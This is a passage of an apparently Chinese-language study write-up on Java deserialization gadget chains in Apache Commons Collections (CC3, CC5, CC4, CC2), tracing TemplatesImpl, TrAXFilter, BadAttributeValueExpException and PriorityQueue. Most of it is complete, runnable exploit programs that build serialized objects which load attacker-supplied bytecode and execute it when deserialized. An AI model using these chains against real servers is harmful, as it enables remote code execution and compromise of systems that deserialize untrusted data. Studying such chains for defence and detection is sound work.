Map<Object, Object> lazyM2 = LazyMap.decorate(map2, cT);
lazyM2.put("zZ", 1);

Hashtable ht = new Hashtable();
ht.put(lazyM1, 1);
ht.put(lazyM2, 2);
Field iTransformers = cT.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(cT, trans);
lazyM2.remove("yy");

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(ht);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();

CommonsCollections 3

cc3是另一种攻击思路,找一个可以控制的defineClass,使用动态加载攻击类触发命令执行

选择的最终触发类为TemplatesImpl(这个类的defineClass是很多反序列化链的触发位置),是一个default方法,只需传入字节码的形式,通过调protect defineClass用实现对类的加载

image-20240104181121183

1
2
3
Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
}

看一下类中调用,定位到方法defineC,private的

image-20240104181926243

先但看一下这个类,loader为内部类TransletClassLoader定义的对象,TransletClassLoader继承ClassLoader,是一个自定义加载器,_bytecodes为二维byte数组,猜测_bytecodes中存放的是多个类的字节码;看try语句中,_Class为的Class数组,长度为_bytecodes的二维个数,_auxClasses是一个Hashmap并且是类中变量,在for循环中,对每一个_bytecodes执行loadClass操作,然后获取加载类的父类,如果父类不是AbstractTranslet,就将加载好的类存入_auxClasses中。如果整个_bytecodes中没有AbstractTranslet.class则会抛出错误。所以对于这个类,只要定义好_bytecodes(反射),执行这个方法就可以加载类,再找到执行方法的位置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

继续向下找,使用defineTransletClasses方法的位置,定位到三个方法

image-20240104174755895

其中getTransletInstance方法有一个可以实例化对象的位置

简单分析一下,上面通过defineTransletClasses定义了类内变量_class,是一个load之后的Class数组,并且_transletIndex为数组中AbstractTranslet.class的位置,将其取出进行实例化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 可以实例化对象
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

继续向上,定位到类中唯一调用该方法的位置

image-20240104204045886

一个公共方法,调用类中构造方法定义了一个TransformerImpl实例化对象,执行getTransletInstance方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

这样初步想法有了,写一版exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// CC3
Path path = Paths.get(System.getProperty("user.dir"), "Test.class");
byte[] bytes =  Files.readAllBytes(path);

TemplatesImpl ti = new TemplatesImpl();

Field bs = ti.getClass().getDeclaredField("_bytecodes");
bs.setAccessible(true);
bs.set(ti, new byte[][]{Files.readAllBytes(path)});
Field n = ti.getClass().getDeclaredField("_name");
n.setAccessible(true);
n.set(ti, "123");

ti.newTransformer();

运行报空指针问题,问题出在defineTransletClasses定义loader时没有_tfactory,所以这边将能给的变量都给了尝试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// CC3
Path path = Paths.get(System.getProperty("user.dir"), "Test.class");
byte[] bytes =  Files.readAllBytes(path);

TemplatesImpl templatesImpl = new TemplatesImpl();

Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "Test");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

templatesImpl.newTransformer();

测试还是不行,在调用loader.defineClass时出现我们自定义的攻击类加载失败的问题,分析了一通其实原因就是自己用命令编译使用的jdk与当前jdk不同,使用idea统一编译即可

image-20240108153813437

与CC结合构造Exp,CC1改一下chain就可以了

Exp(InvokerTransformer)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;

public class CcTest {
    public static void main(String[] args) throws Exception {

        // CC3
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InvokerTransformer("newTransformer", null, null),
                new ConstantTransformer(1)
        };
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
        Object o = c.newInstance(Override.class, mapProxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(o);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}

TrAXFilter

另一条路,也就是说不使用InvokeTransformer作为触发位置,可不可以找到直接触发newTransformer调用的位置,cc3作者使用了TrAXFilter类,分析一下

先对newTransformer方法简单查找,公共构造方法,直接调用

image-20240108171414221

但是类无法序列化,这边用到了InstantiateTransformer类的transform方法

简单看一下,实例化一个传入class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

所以可以利用来直接触发TrAXFilter的构造方法,这样就避过了序列化

Exp(TrAXFilter)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;

public class CcTest {
    public static void main(String[] args) throws Exception {
      
        // CC3 TrAXFliter
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

//        TrAXFilter trAXFilter = new TrAXFilter(templatesImpl);

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
                new ConstantTransformer(1)
        };
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c = a.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        InvocationHandler i = (InvocationHandler) c.newInstance(Override.class, lazyM);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, i);
        Object o = c.newInstance(Override.class, mapProxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(o);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();

    }
}

CommonsCollections 5

更换了触发readObject的类,调用链找到了BadAttributeExpExceptionl类中的readObject,看一下

首先会娶到序列化对象的val值,也就是传入的进行序列化的BadAttributeExpExceptionl实例化对象,然后对获取到的值类型进行判断,如果不是null并且不是String类型就进入第三个口执行该val的toString方法,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

这边用到了CC6的TiedMapEntry#toString,触发TiedMapEntry#getValue,这样后面部分就和CC6连起来了

1
2
3
public String toString() {
    return getKey() + "=" + getValue();
}

Exp

这里需要注意不能直接构造方法传TiedMapEntry,同样会触发toString,反射一下就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;

public class CcTest {
    public static void main(String[] args) throws Exception {
        // CC5
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
                new ConstantTransformer(1)
        };

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyM = LazyMap.decorate(map, new ChainedTransformer(trans));
        TiedMapEntry tME = new TiedMapEntry(lazyM, "123");
        BadAttributeValueExpException bVEE = new BadAttributeValueExpException(null);
        Field val = bVEE.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(bVEE, tME);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(bVEE);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}

CommonsCollections 4

在Commons Collections 4.0版本,修复了很多出现的问题导致lazymap等无法使用,但由于对TransformingComparator添加了反序列化接口,因此衍生出了CC4这条链

直接进TransformingComparator类看一下关键位置,compare方法直接触发transformer的transform

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

然后就是找到其他类中哪里调用了compare方法,于是找到了PriorityQueue类

image-20240111181133269

进入siftDownUsingComparator,这里需要控制进入循环,所以要控制整个的size

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

看一下哪里调用了这个方法,跟进一下,最后串起来链子readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> transform(),注意size赋值,不然不会进入heapify中的循环

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;

public class CcTest {
    public static void main(String[] args) throws Exception {
        // CC4
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}),
                new ConstantTransformer(1)
        };

        TransformingComparator tc = new TransformingComparator(new ChainedTransformer(trans));
        PriorityQueue pq = new PriorityQueue(3, tc);
        Field size = pq.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(pq, 3);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(pq);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}

CommonsCollections 2

思路同CC4,只是使用InvokeTransformer进行作为命令触发位置,不使用TrAXFilter

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import com.sun.xml.internal.bind.v2.runtime.reflect.opt.Const;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;

public class CcTest {
    public static void main(String[] args) throws Exception {
				// CC2
        Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
        byte[] bytes =  Files.readAllBytes(path);

        TemplatesImpl templatesImpl = new TemplatesImpl();

        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        Field name = templatesImpl.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl, "123");
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InvokerTransformer("newTransformer", null, null),
                new ConstantTransformer(1)
        };

        TransformingComparator tc = new TransformingComparator(new ChainedTransformer(trans));
        PriorityQueue pq = new PriorityQueue(2, tc);
        Field size = pq.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(pq, 2);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(pq);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
        ois.readObject();
    }
}
0%